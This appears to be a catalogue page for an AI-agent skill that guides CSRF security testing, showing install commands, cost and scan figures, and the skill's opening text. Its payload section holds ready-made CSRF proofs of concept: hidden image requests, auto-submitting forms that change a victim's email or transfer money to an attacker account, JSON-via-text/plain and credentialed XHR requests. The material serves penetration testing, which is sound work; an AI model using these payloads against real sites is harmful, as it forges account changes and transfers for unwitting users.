csrf

csrf is a skill for Claude Code, Codex from SecurityTalent/bugskill-ai. It costs 103 tokens per session (1,877 once invoked), scanned C, a copy of csrf, MIT.

A security testing guide for Cross-Site Request Forgery (CSRF), an attack that makes a logged-in browser send unwanted changes because browsers automatically include login cookies.

In plain words
What is it for?
It is for checking state-changing requests, cookie settings, request origins, and WebSocket connections for CSRF protections.
Why use it?
It helps find missing or weak checks that let attackers change account settings, passwords, transfers, or other data through a victim's browser.

Skill for Claude CodeCodex

Written for no agent in particular: nothing here depends on one. Also seen: mentions Claude Code.

Good fit It is for checking state-changing requests, cookie settings, request origins, and WebSocket connections for CSRF protections.

Compare 6 skills from other repositories ↓
Install with agentmods
npx agentmods add skills/securitytalent/bugskill-ai/csrf
Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent
npx skills add SecurityTalent/bugskill-ai --skill csrf
Clone the repo
git clone --depth 1 https://github.com/SecurityTalent/bugskill-ai

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for csrf

README.md
[![agentmods](https://agentmods.dev/badge/skills/securitytalent/bugskill-ai/csrf/github.svg)](https://agentmods.dev/skills/securitytalent/bugskill-ai/csrf)
Your own site
<a href="https://agentmods.dev/skills/securitytalent/bugskill-ai/csrf"><img src="https://agentmods.dev/badge/skills/securitytalent/bugskill-ai/csrf/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for csrf

Your own site · 80×15
<a href="https://agentmods.dev/skills/securitytalent/bugskill-ai/csrf"><img src="https://agentmods.dev/badge/skills/securitytalent/bugskill-ai/csrf.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 103 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 1,877 The whole file, excluding the scripts and references it only reads on demand.
Security scan C 1 finding. A grade says what 26 rules found in the file — not that it is safe.
Origin 100% copy Near-identical to another mod in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00103 $0.01877
Opus 5.5 $0.00041 $0.00751
Sonnet 5.5 $0.00021 $0.00375
Haiku 4.5 $0.00010 $0.00188

Measured 2mo ago against content hash 69b78310091a, method: parsed. Prices are Anthropic first-party input rates as of 2026-10-07, from the pricing page.

Security

Grade C, and why

csrf scanned grade C with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 2mo ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Hidden instructionshighPrompt injection

Directives inside HTML comments, invisible characters or bidirectional overrides are read by the model and not by the person reviewing the file.

<!-- GET-based CSRF (auto-loads on page visit) -->
Origin

This is a copy

100% identical to csrf — 0 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.

Awesome-Claude-Code-Agent-Skills/02-Web-Application-Security/csrf/SKILL.md · 137 lines

How it starts

The opening of the file, as written. The whole thing — 137 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Cross-Site Request Forgery (CSRF)

What Is Broken and Why

CSRF exploits the browser's automatic inclusion of credentials (cookies, HTTP Basic auth) with every request to a given origin. An attacker-controlled page on a different origin can cause the victim's browser to send authenticated requests to the target application. Since the browser automatically attaches the session cookie, the server cannot distinguish the forged request from a legitimate one — unless it validates a secret token that only the legitimate page would know. Absent CSRF tokens, SameSite=Strict/Lax cookie attributes, or origin validation, any state-changing operation is potentially exploitable.

Key Signals

  • State-changing requests (account settings, password change, fund transfer, email change) without a CSRF token
  • CSRF token present but predictable, static, or not validated server-side
  • Cookie lacks SameSite=Strict or SameSite=Lax attribute
  • Content-Type: application/json endpoints that also accept text/plain (allows form-based CSRF)
  • API endpoints not verifying Origin or Referer headers
  • WebSocket handshakes without origin validation

Methodology

  1. Identify all state-changing requests (POST, PUT, PATCH, DELETE) in the application.
  2. Check for CSRF token in request parameters or headers (X-CSRF-Token, _token, csrf_token).
  3. If token is present: test whether it is validated (remove it, use an invalid value, reuse an old token, use another user's token).
  4. If no token: confirm the action is exploitable by crafting a PoC HTML page.
  5. Check SameSite attribute of session cookie; Lax provides partial protection (GET only, top-level nav).
  6. Test JSON endpoints: try submitting the same payload as text/plain or application/x-www-form-urlencoded.
  7. Test whether Referer header is validated and if it can be stripped or spoofed.
  8. Use Burp's "Generate CSRF PoC" feature (right-click on request in Proxy history).

Payloads & Tools

<!-- GET-based CSRF (auto-loads on page visit) -->
<img src="TARGET/action?param=value" style="display:none">
<link rel="stylesheet" href="TARGET/action?param=value">

<!-- POST-based CSRF (auto-submitting form) -->
<html>
<body onload="document.forms[0].submit()">
<form action="TARGET/change-email" method="POST">
  <input type="hidden" name="email" value="[email protected]">
</form>
</body>
</html>

<!-- POST-based with multiple fields -->
<form action="TARGET/transfer" method="POST" id="csrfForm">
  <input type="hidden" name="amount" value="1000">
  <input type="hidden" name="destination" value="ATTACKER-ACCOUNT">
  <input type="hidden" name="currency" value="USD">
</form>
<script>document.getElementById('csrfForm').submit();</script>

<!-- JSON CSRF via text/plain Content-Type -->
<form action="TARGET/api/update" method="POST" enctype="text/plain">
  <input name='{"email":"[email protected]","x":"' value='"}'>
</form>
<!-- Results in body: {"email":"[email protected]","x":"="} -->

<!-- CSRF token bypass — test without token -->
POST /change-password HTTP/1.1
Host: TARGET
Cookie: session=TOKEN

new_password=attacker123

<!-- CSRF token bypass — use invalid token -->
POST /change-password HTTP/1.1
csrf_token=AAAAAAAAAAAAAAAA

<!-- CSRF via XHR (requires CORS misconfiguration) -->
<script>
var xhr = new XMLHttpRequest();
xhr.open('POST', 'TARGET/change-email', true);
xhr.withCredentials = true;
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send('[email protected]');
</script>

<!-- Burp Suite — Generate CSRF PoC -->
<!-- Right-click on request in Proxy -> Engagement tools -> Generate CSRF PoC -->

Read the full file on GitHub · 137 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 2mo ago First seen · 137 lines · 103 tokens per session scan C 69b78310091a

Subscribe to this mod's changes

csrf is a skill published in the GitHub repository SecurityTalent/bugskill-ai (13 stars, last pushed 2mo ago), licensed MIT. It adds 103 tokens to every session and 1,877 once invoked, about $0.0004 per session on Opus 5.5. A static security scan graded it C with 1 finding (hidden instructions). It is 100% identical to csrf, differing in 0 lines, and is treated as a copy.

Related

csrf compared with skills from other repositories

csrf next to 6 skills from other repositories
ModTypeStarsLast pushLicenceScanTokensWorks with
csrfSecurityTalent/bugskill-aiSkill132mo agoMITC103Claude Code, Codex
user-research-cookiycookiy-ai/user-research-skillSkill1.6k21d agoMITA154Claude Code, Codex
playwright-best-practicescurrents-dev/playwright-best-practices-skillSkill44825d agoMITA214Claude Code, Codex
email-marketing-bibleCosmoBlk/email-marketing-bibleSkill39221d agoMITA195Claude Code
globalpercentsimonlin1212/globalpercentSkill791mo agoApache-2.0A134Claude Code, Codex
ui-ux-design-prosaifyxpro/ui-ux-design-pro-skillSkill1112mo agoMITA117Claude Code
distribution-patternsgarrettw/php-arch-skillsSkill172d agoMPL-2.0A91Claude Code, Codex